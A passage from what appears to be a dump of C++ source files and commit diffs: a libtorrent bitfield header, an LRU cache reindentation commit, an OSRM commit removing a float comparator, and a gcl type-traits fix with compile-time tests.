INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_BITFIELD_HPP_INCLUDED\n#define TORRENT_BITFIELD_HPP_INCLUDED\n\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/config.hpp\"\n#include <cstring> \/\/ for memset and memcpy\n#include <cstdlib> \/\/ for malloc, free and realloc\n\nnamespace libtorrent\n{\n\tstruct TORRENT_EXPORT bitfield\n\t{\n\t\tbitfield(): m_bytes(0), m_size(0), m_own(false) {}\n\t\tbitfield(int bits): m_bytes(0), m_size(0), m_own(false)\n\t\t{ resize(bits); }\n\t\tbitfield(int bits, bool val): m_bytes(0), m_size(0), m_own(false)\n\t\t{ resize(bits, val); }\n\t\tbitfield(char const* b, int bits): m_bytes(0), m_size(0), m_own(false)\n\t\t{ assign(b, bits); }\n\t\tbitfield(bitfield const& rhs): m_bytes(0), m_size(0), m_own(false)\n\t\t{ assign(rhs.bytes(), rhs.size()); }\n\n\t\tvoid borrow_bytes(char* b, int bits)\n\t\t{\n\t\t\tdealloc();\n\t\t\tm_bytes = (unsigned char*)b;\n\t\t\tm_size = bits;\n\t\t\tm_own = false;\n\t\t}\n\t\t~bitfield() { dealloc(); }\n\n\t\tvoid assign(char const* b, int bits)\n\t\t{ resize(bits); std::memcpy(m_bytes, b, (bits + 7) \/ 8); clear_trailing_bits(); }\n\n\t\tbool operator[](int index) const\n\t\t{ return get_bit(index); }\n\n\t\tbool get_bit(int index) const\n\t\t{\n\t\t\tTORRENT_ASSERT(index >= 0);\n\t\t\tTORRENT_ASSERT(index < m_size);\n\t\t\treturn (m_bytes[index \/ 8] & (0x80 >> (index & 7))) != 0;\n\t\t}\n\t\t\n\t\tvoid clear_bit(int index)\n\t\t{\n\t\t\tTORRENT_ASSERT(index >= 0);\n\t\t\tTORRENT_ASSERT(index < m_size);\n\t\t\tm_bytes[index \/ 8] &= ~(0x80 >> (index & 7));\n\t\t}\n\n\t\tvoid set_bit(int index)\n\t\t{\n\t\t\tTORRENT_ASSERT(index >= 0);\n\t\t\tTORRENT_ASSERT(index < m_size);\n\t\t\tm_bytes[index \/ 8] |= (0x80 >> (index & 7));\n\t\t}\n\n\t\tstd::size_t size() const { return m_size; }\n\t\tbool empty() const { return m_size == 0; }\n\n\t\tchar const* bytes() const { return (char*)m_bytes; }\n\n\t\tbitfield& operator=(bitfield const& rhs)\n\t\t{\n\t\t\tassign(rhs.bytes(), rhs.size());\n\t\t\treturn *this;\n\t\t}\n\n\t\tint count() const\n\t\t{\n\t\t\t\/\/ 0000, 0001, 0010, 0011, 0100, 0101, 0110, 0111,\n\t\t\t\/\/ 1000, 1001, 1010, 1011, 1100, 1101, 1110, 1111\n\t\t\tconst static char num_bits[] =\n\t\t\t{\n\t\t\t\t0, 1, 1, 2, 1, 2, 2, 3,\n\t\t\t\t1, 2, 2, 3, 2, 3, 3, 4\n\t\t\t};\n\n\t\t\tint ret = 0;\n\t\t\tconst int num_bytes = m_size \/ 8;\n\t\t\tfor (int i = 0; i < num_bytes; ++i)\n\t\t\t{\n\t\t\t\tret += num_bits[m_bytes[i] & 0xf] + num_bits[m_bytes[i] >> 4];\n\t\t\t}\n\n\t\t\tint rest = m_size - num_bytes * 8;\n\t\t\tfor (int i = 0; i < rest; ++i)\n\t\t\t{\n\t\t\t\tret += (m_bytes[num_bytes] >> (7-i)) & 1;\n\t\t\t}\n\t\t\tTORRENT_ASSERT(ret <= m_size);\n\t\t\tTORRENT_ASSERT(ret >= 0);\n\t\t\treturn ret;\n\t\t}\n\n\t\tstruct const_iterator\n\t\t{\n\t\tfriend struct bitfield;\n\n\t\t\ttypedef bool value_type;\n\t\t\ttypedef ptrdiff_t difference_type;\n\t\t\ttypedef bool const* pointer;\n\t\t\ttypedef bool& reference;\n\t\t\ttypedef std::forward_iterator_tag iterator_category;\n\n\t\t\tbool operator*() { return (*byte & bit) != 0; }\n\t\t\tconst_iterator& operator++() { inc(); return *this; }\n\t\t\tconst_iterator operator++(int)\n\t\t\t{ const_iterator ret(*this); inc(); return ret; }\n\t\t\tconst_iterator& operator--() { dec(); return *this; }\n\t\t\tconst_iterator operator--(int)\n\t\t\t{ const_iterator ret(*this); dec(); return ret; }\n\n\t\t\tconst_iterator(): byte(0), bit(0x80) {}\n\t\t\tbool operator==(const_iterator const& rhs) const\n\t\t\t{ return byte == rhs.byte && bit == rhs.bit; }\n\n\t\t\tbool operator!=(const_iterator const& rhs) const\n\t\t\t{ return byte != rhs.byte || bit != rhs.bit; }\n\n\t\tprivate:\n\t\t\tvoid inc()\n\t\t\t{\n\t\t\t\tTORRENT_ASSERT(byte);\n\t\t\t\tif (bit == 0x01)\n\t\t\t\t{\n\t\t\t\t\tbit = 0x80;\n\t\t\t\t\t++byte;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbit >>= 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tvoid dec()\n\t\t\t{\n\t\t\t\tTORRENT_ASSERT(byte);\n\t\t\t\tif (bit == 0x80)\n\t\t\t\t{\n\t\t\t\t\tbit = 0x01;\n\t\t\t\t\t--byte;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbit <<= 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst_iterator(unsigned char const* ptr, int offset)\n\t\t\t\t: byte(ptr), bit(0x80 >> offset) {}\n\t\t\tunsigned char const* byte;\n\t\t\tint bit;\n\t\t};\n\n\t\tconst_iterator begin() const { return const_iterator(m_bytes, 0); }\n\t\tconst_iterator end() const { return const_iterator(m_bytes + m_size \/ 8, m_size & 7); }\n\n\t\tvoid resize(int bits, bool val)\n\t\t{\n\t\t\tint s = m_size;\n\t\t\tint b = m_size & 7;\n\t\t\tresize(bits);\n\t\t\tif (s >= m_size) return;\n\t\t\tint old_size_bytes = (s + 7) \/ 8;\n\t\t\tint new_size_bytes = (m_size + 7) \/ 8;\n\t\t\tif (val)\n\t\t\t{\n\t\t\t\tif (old_size_bytes && b) m_bytes[old_size_bytes - 1] |= (0xff >> b);\n\t\t\t\tif (old_size_bytes < new_size_bytes)\n\t\t\t\t\tstd::memset(m_bytes + old_size_bytes, 0xff, new_size_bytes - old_size_bytes);\n\t\t\t\tclear_trailing_bits();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (old_size_bytes < new_size_bytes)\n\t\t\t\t\tstd::memset(m_bytes + old_size_bytes, 0x00, new_size_bytes - old_size_bytes);\n\t\t\t}\n\t\t}\n\n\t\tvoid set_all()\n\t\t{\n\t\t\tstd::memset(m_bytes, 0xff, (m_size + 7) \/ 8);\n\t\t\tclear_trailing_bits();\n\t\t}\n\n\t\tvoid clear_all()\n\t\t{\n\t\t\tstd::memset(m_bytes, 0x00, (m_size + 7) \/ 8);\n\t\t}\n\t\n\t\tvoid resize(int bits)\n\t\t{\n\t\t\tTORRENT_ASSERT(bits >= 0);\n\t\t\tconst int b = (bits + 7) \/ 8;\n\t\t\tif (m_bytes)\n\t\t\t{\n\t\t\t\tif (m_own)\n\t\t\t\t{\n\t\t\t\t\tm_bytes = (unsigned char*)std::realloc(m_bytes, b);\n\t\t\t\t\tm_own = true;\n\t\t\t\t}\n\t\t\t\telse if (bits > m_size)\n\t\t\t\t{\n\t\t\t\t\tunsigned char* tmp = (unsigned char*)std::malloc(b);\n\t\t\t\t\tstd::memcpy(tmp, m_bytes, (std::min)(int(m_size + 7)\/ 8, b));\n\t\t\t\t\tm_bytes = tmp;\n\t\t\t\t\tm_own = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (bits > 0)\n\t\t\t{\n\t\t\t\tm_bytes = (unsigned char*)std::malloc(b);\n\t\t\t\tm_own = true;\n\t\t\t}\n\t\t\tm_size = bits;\n\t\t\tclear_trailing_bits();\n\t\t}\n\n\t\tvoid free() { dealloc(); m_size = 0; }\n\n\tprivate:\n\n\t\tvoid clear_trailing_bits()\n\t\t{\n\t\t\t\/\/ clear the tail bits in the last byte\n\t\t\tif (m_size & 7) m_bytes[(m_size + 7) \/ 8 - 1] &= 0xff << (8 - (m_size & 7));\n\t\t}\n\n\t\tvoid dealloc() { if (m_own) std::free(m_bytes); m_bytes = 0; }\n\t\tunsigned char* m_bytes;\n\t\tint m_size:31; \/\/ in bits\n\t\tbool m_own:1;\n\t};\n\n}\n\n#endif \/\/ TORRENT_BITFIELD_HPP_INCLUDED\n\n<|endoftext|>"}
{"text":"<commit_before>\/*********************************************************************************\n *\n *  MIT License\n *\n *  Copyright (c) 2017 Nenad Zikic\n *\n *  Permission is hereby granted, free of charge, to any person obtaining a copy\n *  of this software and associated documentation files (the \"Software\"), to deal\n *  in the Software without restriction, including without limitation the rights\n *  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n *  copies of the Software, and to permit persons to whom the Software is\n *  furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in all\n *  copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n *  SOFTWARE.\n *\n *********************************************************************************\/\n\n#pragma once\n\n#include <list>\n#include <unordered_map>\n#include <vector>\n#include <optional>\n#include <mutex>\n#include <functional>\n#include <ostream>\n\nnamespace lru_cache\n{\n    namespace detail\n    {\n        \/* Dummy replacement for mutex which defaults to cache with no thread safety *\/\n        class nolocking\n        {\n        public:\n            void lock() {}\n            void unlock() {}\n            bool try_lock() { return true; }\n        };\n    }\n\n    \/* Associative Least Recently Used (LRU) cache *\/\n    template <typename Key_t, typename Value_t, typename Lock_t = detail::nolocking>\n    class LRU_cache\n    {\n        static_assert(\n            std::is_copy_constructible_v<Value_t>, \n            \"Cache requires copy-constructible objects, otherwise data access with get member function would pop the data out of the cache, which renders cache pointless.\");\n\n    protected:\n        using List_t = std::list<std::pair<Key_t, Value_t>>;\n        using Map_t = std::unordered_map<Key_t, typename List_t::iterator>;\n        using Lock = std::scoped_lock<Lock_t>;\n\n        List_t  m_list;\n        Map_t   m_map;\n        const size_t  m_capacity;\n\n        mutable Lock_t m_lock;\n\n        std::function<void(Value_t)> m_onEvict;\n\n\n        void evict()\n        {\n            auto lru = --m_list.end();\n            \n            if (m_onEvict)\n            {\n                m_onEvict(lru->second);\n            }\n\n            m_map.erase(lru->first);\n            m_list.pop_back();\n        }\n\n\n    public:\n\n        explicit LRU_cache(size_t capacity = 8)\n            : m_list()\n            , m_map(capacity)\n            , m_capacity(capacity)\n        {\n        }\n\n        virtual ~LRU_cache() = default;\n\n        LRU_cache(const LRU_cache&) = delete;\n        LRU_cache& operator=(const LRU_cache&) = delete;\n\n        LRU_cache(LRU_cache&&) = default;\n        LRU_cache& operator=(LRU_cache&&) = default;\n\n        template <typename Func>\n        void setOnEvictNotifier(Func callback)\n        {\n            static_assert(std::is_invocable_v<Func, Value_t>, \"Invalid type, expected function or callable object, or object callable to be called with argument of type Value_t\");\n            m_onEvict = callback;\n        }\n\n        \/*\n         * Inserts an element (value) with the given key (key).\n         * If a value with the fiven key exists, function does nothing.\n         *\/\n        template <\n            typename Key_tt = Key_t,\n            typename Value_tt = Value_t,\n            class Key_tt_MustBe_Key_t = std::enable_if_t<std::is_same_v<std::remove_reference_t<Key_tt>, Key_t>>,\n            class Value_tt_MustBe_Value_t = std::enable_if_t<std::is_same_v<std::remove_reference_t<Value_tt>, Value_t>>>\n        void insert(Key_tt&& key, Value_tt&& value)\n        {\n            Lock lock(m_lock);\n\n            \/\/ lookup value in cache\n            auto it = m_map.find(key);\n            if (it == m_map.end())\n            {\n                \/\/ insert item into cache (and check if cache is full)\n                if (m_list.size() >= m_capacity)\n                {\n                    evict();\n                }\n\n                \/\/ insert element\n                m_list.emplace_front(std::make_pair(key, std::forward<Value_tt>(value)));\n                m_map[std::forward<Key_tt>(key)] = m_list.begin();\n            }\n        }\n\n        \/*\n         * Retrieves the value by the given key (key).\n         * If the given key isn't in cache, the function returns empty std::optional object.\n         *\/\n        template <typename Key_tt = Key_t,\n            class TypeMustBe_Key_t = std::enable_if_t<std::is_same_v<std::remove_reference_t<Key_tt>, Key_t>>>\n        std::optional<Value_t> get(Key_tt&& key)\n        {\n            Lock lock(m_lock);\n\n            \/\/ look in the map if element is present\n            auto it = m_map.find(key);\n            \/\/ if not return the empty optional\n            if (it == m_map.end())\n            {\n                return std::nullopt;\n            }\n\n            \/\/ element is present...\n            auto list_iterator = it->second;\n\n            if (list_iterator == m_list.begin())\n            {\n                return { list_iterator->second };\n            }\n            else\n            {\n                \/\/ move the accessed element to front of the list\n                m_list.splice(m_list.begin(), m_list, list_iterator);\n                \/\/ and update hash map\n                m_map[key] = m_list.begin();\n\n                return { m_list.begin()->second };\n            }\n        }\n        \n        \/*\n         * Purges the cache\n         *\/\n        virtual void purge()\n        {\n            Lock lock(m_lock);\n\n            m_list.clear();\n            m_map.clear();\n        }\n\n        \/*\n         * Releases all key\/value pairs into a vector and purges the cache.\n         *\/\n        virtual std::vector<std::pair<Key_t, Value_t>> release()\n        {\n            Lock lock(m_lock);\n\n            std::vector<std::pair<Key_t, Value_t>> v;\n\n            for (auto& pair : m_list)\n            {\n                v.emplace_back(std::move(pair));\n            }\n\n            purge();\n            return v;\n        }\n\n        \/*\n         * Friend funtion for outputing key\/value pairs.\n         *\/\n        friend std::ostream& operator<<(std::ostream& os, const LRU_cache& cache)\n        {\n            for (auto& pair : cache.m_list)\n            {\n                os << \"Key: \" << pair.first << \"\\tValue: \" << pair.second << std::endl;\n            }\n\n            return os;\n        }\n    };\n}\n<commit_msg>Adding indentation for section modifiers (public, private, protected).<commit_after>\/*********************************************************************************\n *\n *  MIT License\n *\n *  Copyright (c) 2017 Nenad Zikic\n *\n *  Permission is hereby granted, free of charge, to any person obtaining a copy\n *  of this software and associated documentation files (the \"Software\"), to deal\n *  in the Software without restriction, including without limitation the rights\n *  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n *  copies of the Software, and to permit persons to whom the Software is\n *  furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in all\n *  copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n *  SOFTWARE.\n *\n *********************************************************************************\/\n\n#pragma once\n\n#include <list>\n#include <unordered_map>\n#include <vector>\n#include <optional>\n#include <mutex>\n#include <functional>\n#include <ostream>\n\nnamespace lru_cache\n{\n    namespace detail\n    {\n        \/* Dummy replacement for mutex which defaults to cache with no thread safety *\/\n        class nolocking\n        {\n            public:\n                void lock() {}\n                void unlock() {}\n                bool try_lock() { return true; }\n        };\n    }\n\n    \/* Associative Least Recently Used (LRU) cache *\/\n    template <typename Key_t, typename Value_t, typename Lock_t = detail::nolocking>\n    class LRU_cache\n    {\n            static_assert(\n                    std::is_copy_constructible_v<Value_t>,\n                    \"Cache requires copy-constructible objects, otherwise data access with get member function would pop the data out of the cache, which renders cache pointless.\");\n\n        protected:\n            using List_t = std::list<std::pair<Key_t, Value_t>>;\n            using Map_t = std::unordered_map<Key_t, typename List_t::iterator>;\n            using Lock = std::scoped_lock<Lock_t>;\n\n            List_t  m_list;\n            Map_t   m_map;\n            const size_t  m_capacity;\n\n            mutable Lock_t m_lock;\n\n            std::function<void(Value_t)> m_onEvict;\n\n\n            void evict()\n            {\n                auto lru = --m_list.end();\n\n                if (m_onEvict)\n                {\n                    m_onEvict(lru->second);\n                }\n\n                m_map.erase(lru->first);\n                m_list.pop_back();\n            }\n\n\n        public:\n\n            explicit LRU_cache(size_t capacity = 8)\n                : m_list()\n                , m_map(capacity)\n                , m_capacity(capacity)\n            {\n            }\n\n            virtual ~LRU_cache() = default;\n\n            LRU_cache(const LRU_cache&) = delete;\n            LRU_cache& operator=(const LRU_cache&) = delete;\n\n            LRU_cache(LRU_cache&&) = default;\n            LRU_cache& operator=(LRU_cache&&) = default;\n\n            template <typename Func>\n            void setOnEvictNotifier(Func callback)\n            {\n                static_assert(std::is_invocable_v<Func, Value_t>, \"Invalid type, expected function or callable object, or object callable to be called with argument of type Value_t\");\n                m_onEvict = callback;\n            }\n\n            \/*\n             * Inserts an element (value) with the given key (key).\n             * If a value with the fiven key exists, function does nothing.\n             *\/\n            template <\n                    typename Key_tt = Key_t,\n                    typename Value_tt = Value_t,\n                    class Key_tt_MustBe_Key_t = std::enable_if_t<std::is_same_v<std::remove_reference_t<Key_tt>, Key_t>>,\n                    class Value_tt_MustBe_Value_t = std::enable_if_t<std::is_same_v<std::remove_reference_t<Value_tt>, Value_t>>>\n            void insert(Key_tt&& key, Value_tt&& value)\n            {\n                Lock lock(m_lock);\n\n                \/\/ lookup value in cache\n                auto it = m_map.find(key);\n                if (it == m_map.end())\n                {\n                    \/\/ insert item into cache (and check if cache is full)\n                    if (m_list.size() >= m_capacity)\n                    {\n                        evict();\n                    }\n\n                    \/\/ insert element\n                    m_list.emplace_front(std::make_pair(key, std::forward<Value_tt>(value)));\n                    m_map[std::forward<Key_tt>(key)] = m_list.begin();\n                }\n            }\n\n            \/*\n             * Retrieves the value by the given key (key).\n             * If the given key isn't in cache, the function returns empty std::optional object.\n             *\/\n            template <typename Key_tt = Key_t,\n                      class TypeMustBe_Key_t = std::enable_if_t<std::is_same_v<std::remove_reference_t<Key_tt>, Key_t>>>\n            std::optional<Value_t> get(Key_tt&& key)\n            {\n                Lock lock(m_lock);\n\n                \/\/ look in the map if element is present\n                auto it = m_map.find(key);\n                \/\/ if not return the empty optional\n                if (it == m_map.end())\n                {\n                    return std::nullopt;\n                }\n\n                \/\/ element is present...\n                auto list_iterator = it->second;\n\n                if (list_iterator == m_list.begin())\n                {\n                    return { list_iterator->second };\n                }\n                else\n                {\n                    \/\/ move the accessed element to front of the list\n                    m_list.splice(m_list.begin(), m_list, list_iterator);\n                    \/\/ and update hash map\n                    m_map[key] = m_list.begin();\n\n                    return { m_list.begin()->second };\n                }\n            }\n\n            \/*\n             * Purges the cache\n             *\/\n            virtual void purge()\n            {\n                Lock lock(m_lock);\n\n                m_list.clear();\n                m_map.clear();\n            }\n\n            \/*\n             * Releases all key\/value pairs into a vector and purges the cache.\n             *\/\n            virtual std::vector<std::pair<Key_t, Value_t>> release()\n            {\n                Lock lock(m_lock);\n\n                std::vector<std::pair<Key_t, Value_t>> v;\n\n                for (auto& pair : m_list)\n                {\n                    v.emplace_back(std::move(pair));\n                }\n\n                purge();\n                return v;\n            }\n\n            \/*\n             * Friend funtion for outputing key\/value pairs.\n             *\/\n            friend std::ostream& operator<<(std::ostream& os, const LRU_cache& cache)\n            {\n                for (auto& pair : cache.m_list)\n                {\n                    os << \"Key: \" << pair.first << \"\\tValue: \" << pair.second << std::endl;\n                }\n\n                return os;\n            }\n    };\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef FLOATING_POINT_HPP\n#define FLOATING_POINT_HPP\n\n#include <cmath>\n\n#include <limits>\n#include <type_traits>\n\nnamespace osrm\n{\nnamespace util\n{\n\ntemplate <typename FloatT> bool epsilon_compare(const FloatT number1, const FloatT number2)\n{\n    static_assert(std::is_floating_point<FloatT>::value, \"type must be floating point\");\n    return (std::abs(number1 - number2) < std::numeric_limits<FloatT>::epsilon());\n}\n}\n}\n\n#endif \/\/ FLOATING_POINT_HPP\n<commit_msg>Removes floating point epsilon comparator<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <type_traits>\nnamespace gcl::mp::type_traits\n{\n    template <class T>\n    struct is_template : std::false_type {};\n    template <class... T_args, template <class...> class T>\n    struct is_template<T<T_args...>> : std::true_type {};\n    template <auto... values, template <auto...> class T>\n    struct is_template<T<values...>> : std::true_type {};\n    template <class T>\n    static inline constexpr auto is_template_v = is_template<T>::value;\n\n    template <class T_concrete, template <class...> class T>\n    struct is_instance_of : std::false_type {};\n    template <template <class...> class T, class... T_args>\n    struct is_instance_of<T<T_args...>, T> : std::true_type {};\n    template <class T_concrete, template <class...> class T>\n    static inline constexpr auto is_instance_of_v = is_instance_of<T_concrete, T>::value;\n\n    template <class T, typename... Args>\n    class is_brace_constructible {\n        template <typename \/*= void*\/, typename U, typename... U_args>\n        struct impl : std::false_type {};\n        template <typename U, typename... U_args>\n        struct impl<std::void_t<decltype(U{std::declval<U_args>()...})>, U, U_args...> : std::true_type {};\n\n      public:\n        constexpr inline static auto value = impl<std::void_t<>, T, Args...>::value;\n    };\n    template <class T, typename... Args>\n    constexpr static inline auto is_brace_constructible_v = is_brace_constructible<T, Args...>::value;\n\n    template <bool evaluation>\n    using if_t = std::conditional_t<evaluation, std::true_type, std::false_type>;\n    template <bool evaluation>\n    constexpr static inline auto if_v = std::conditional_t<evaluation, std::true_type, std::false_type>::value;\n}\n#include <bitset>\n#include <tuple>\n#include <array>\nnamespace gcl::mp::type_traits\n{\n    template <template <typename> class trait, typename... Ts>\n    struct trait_result {\n        constexpr static auto as_bitset_v = []() consteval\n        {\n            using bitset_type = std::bitset<sizeof...(Ts)>;\n            using bitset_initializer_t = unsigned long long;\n            bitset_initializer_t value{0};\n            return bitset_type{((value = (value << 1 | trait<Ts>::value)), ...)};\n        }\n        ();\n\n        template <template <typename...> class T>\n        using as_t = T<typename trait<Ts>::type...>;\n        template <template <typename...> class T>\n        constexpr static auto as_v = T{trait<Ts>::value...};\n\n        using as_tuple_t = as_t<std::tuple>;\n        constexpr static auto as_tuple_v = std::tuple{trait<Ts>::value...};\n\n        template <class Int = int>\n        using as_integer_sequence = std::integer_sequence<Int, trait<Ts>::value...>;\n\n        \/\/ constexpr static auto as_array_v = std::array{trait<Ts>::value...}; \/\/ OK with GCC 10.2\n        using as_array_t = std::array<std::tuple_element_t<0, decltype(std::tuple{trait<Ts>::value...})>, sizeof...(Ts)>;\n        constexpr static auto as_array_v = as_array_t{trait<Ts>::value...};\n    };\n}\nnamespace gcl::mp::type_trait\n{   \/\/ detection not covered by `is_instance_of`\n    template <typename T>\n    struct is_std_array : std::false_type {};\n    template <typename T, std::size_t N>\n    struct is_std_array<std::array<T, N>> : std::true_type {};\n    template <typename T>\n    using is_std_array_t = is_std_array<T>::type;\n    template <typename T>\n    constexpr static auto is_std_array_v = is_std_array_t<T>::value;\n}\n\nnamespace gcl::mp::type_traits::tests::is_brace_constructible_v\n{\n    struct toto {\n        int i;\n    };\n    struct titi {\n        explicit titi(int) {}\n    };\n\n    static_assert(type_traits::is_brace_constructible_v<toto>);\n    static_assert(type_traits::is_brace_constructible_v<toto, int>);\n    static_assert(type_traits::is_brace_constructible_v<toto, char>);\n    static_assert(not type_traits::is_brace_constructible_v<toto, char*>);\n    static_assert(not type_traits::is_brace_constructible_v<titi>);\n    static_assert(type_traits::is_brace_constructible_v<titi, int>);\n    static_assert(type_traits::is_brace_constructible_v<titi, char>);\n    static_assert(not type_traits::is_brace_constructible_v<titi, char*>);\n}\nnamespace gcl::mp::type_traits::tests::if_t\n{\n    static_assert(std::is_same_v<type_traits::if_t<true>, std::true_type>);\n    static_assert(std::is_same_v<type_traits::if_t<false>, std::false_type>);\n    static_assert(type_traits::if_v<true> == true);\n    static_assert(type_traits::if_v<false> == false);\n}\n#if __cpp_concepts\n#include <concepts>\nnamespace gcl::mp::type_traits::tests::if_t\n{\n    \/\/ clang-format off\n    template <typename T>\n    concept is_red_colored = requires(T)\n    {\n        { T::color == decltype(T::color)::red } -> std::convertible_to<bool>;\n        { type_traits::if_t<T::color == decltype(T::color)::red>{}} -> std::same_as<std::true_type>;\n    };\n    enum colors { red, blue, green };\n    struct smthg_blue { constexpr static auto color = colors::blue; };\n    struct smthg_red { constexpr static auto color = colors::red; };\n    \/\/ clang-format on\n\n    static_assert(not is_red_colored<smthg_blue>);\n    static_assert(is_red_colored<smthg_red>);\n}\n#endif\nnamespace gcl::mp::type_traits::tests::trait_results\n{\n    template <typename T>\n    using is_int = std::is_same<int, T>;\n    using results = trait_result<is_int, char, int, bool>;\n\n    \/\/ static_assert(decltype(results::as_bitset_v){2UL} == results::as_bitset_v); \/\/ std::bitset::operator== is not cx\n    constexpr auto expected_result_as_bitset = decltype(results::as_bitset_v){2UL};\n    static_assert(expected_result_as_bitset[0] == results::as_bitset_v[0]);\n    static_assert(expected_result_as_bitset[1] == results::as_bitset_v[1]);\n    static_assert(expected_result_as_bitset[2] == results::as_bitset_v[2]);\n\n    using results_as_tuple = results::as_t<std::tuple>;\n    using results_as_tuple_value_type = std::decay_t<decltype(results::as_v<std::tuple>)>;\n    static_assert(std::tuple_size_v<results_as_tuple> == std::tuple_size_v<results_as_tuple_value_type>);\n\n    using expected_result_as_tuple = std::tuple<std::false_type, std::true_type, std::false_type>;\n    static_assert(std::is_same_v<results::as_t<std::tuple>, expected_result_as_tuple>);\n    static_assert(std::is_same_v<results::as_integer_sequence<int>, std::integer_sequence<int, 0, 1, 0>>);\n    static_assert(results::as_array_v == std::array{false, true, false});\n\n    template <typename... Ts>\n    struct type_pack {};\n    using results_as_type_pack = results::as_t<type_pack>;\n    using expected_result_as_type_pack = type_pack<std::false_type, std::true_type, std::false_type>;\n    static_assert(std::is_same_v<results_as_type_pack, expected_result_as_type_pack>);\n}<commit_msg>[gcl::type_trait] : Fix error, add tests<commit_after>#pragma once\n\n#include <type_traits>\nnamespace gcl::mp::type_traits\n{\n    template <class T>\n    struct is_template : std::false_type {};\n    template <class... T_args, template <class...> class T>\n    struct is_template<T<T_args...>> : std::true_type {};\n    template <auto... values, template <auto...> class T>\n    struct is_template<T<values...>> : std::true_type {};\n    template <class T>\n    static inline constexpr auto is_template_v = is_template<T>::value;\n\n    template <class T_concrete, template <class...> class T>\n    struct is_instance_of : std::false_type {};\n    template <template <class...> class T, class... T_args>\n    struct is_instance_of<T<T_args...>, T> : std::true_type {};\n    template <class T_concrete, template <class...> class T>\n    static inline constexpr auto is_instance_of_v = is_instance_of<T_concrete, T>::value;\n\n    template <class T, typename... Args>\n    class is_brace_constructible {\n        template <typename \/*= void*\/, typename U, typename... U_args>\n        struct impl : std::false_type {};\n        template <typename U, typename... U_args>\n        struct impl<std::void_t<decltype(U{std::declval<U_args>()...})>, U, U_args...> : std::true_type {};\n\n      public:\n        constexpr inline static auto value = impl<std::void_t<>, T, Args...>::value;\n    };\n    template <class T, typename... Args>\n    constexpr static inline auto is_brace_constructible_v = is_brace_constructible<T, Args...>::value;\n\n    template <bool evaluation>\n    using if_t = std::conditional_t<evaluation, std::true_type, std::false_type>;\n    template <bool evaluation>\n    constexpr static inline auto if_v = std::conditional_t<evaluation, std::true_type, std::false_type>::value;\n}\n#include <bitset>\n#include <tuple>\n#include <array>\nnamespace gcl::mp::type_traits\n{\n    template <template <typename> class trait, typename... Ts>\n    struct trait_result {\n        constexpr static auto as_bitset_v = []() consteval\n        {\n            using bitset_type = std::bitset<sizeof...(Ts)>;\n            using bitset_initializer_t = unsigned long long;\n            bitset_initializer_t value{0};\n            return bitset_type{((value = (value << 1 | trait<Ts>::value)), ...)};\n        }\n        ();\n\n        template <template <typename...> class T>\n        using as_t = T<typename trait<Ts>::type...>;\n        template <template <typename...> class T>\n        constexpr static auto as_v = T{trait<Ts>::value...};\n\n        using as_tuple_t = as_t<std::tuple>;\n        constexpr static auto as_tuple_v = std::tuple{trait<Ts>::value...};\n\n        template <class Int = int>\n        using as_integer_sequence = std::integer_sequence<Int, trait<Ts>::value...>;\n\n        \/\/ constexpr static auto as_array_v = std::array{trait<Ts>::value...}; \/\/ OK with GCC 10.2\n        using as_array_t = std::array<std::tuple_element_t<0, decltype(std::tuple{trait<Ts>::value...})>, sizeof...(Ts)>;\n        constexpr static auto as_array_v = as_array_t{trait<Ts>::value...};\n    };\n}\nnamespace gcl::mp::type_traits\n{   \/\/ detection not covered by `is_instance_of`\n    template <typename T>\n    struct is_std_array : std::false_type {};\n    template <typename T, std::size_t N>\n    struct is_std_array<std::array<T, N>> : std::true_type {};\n    template <typename T>\n    using is_std_array_t = typename is_std_array<T>::type;\n    template <typename T>\n    constexpr static auto is_std_array_v = is_std_array_t<T>::value;\n}\n\nnamespace 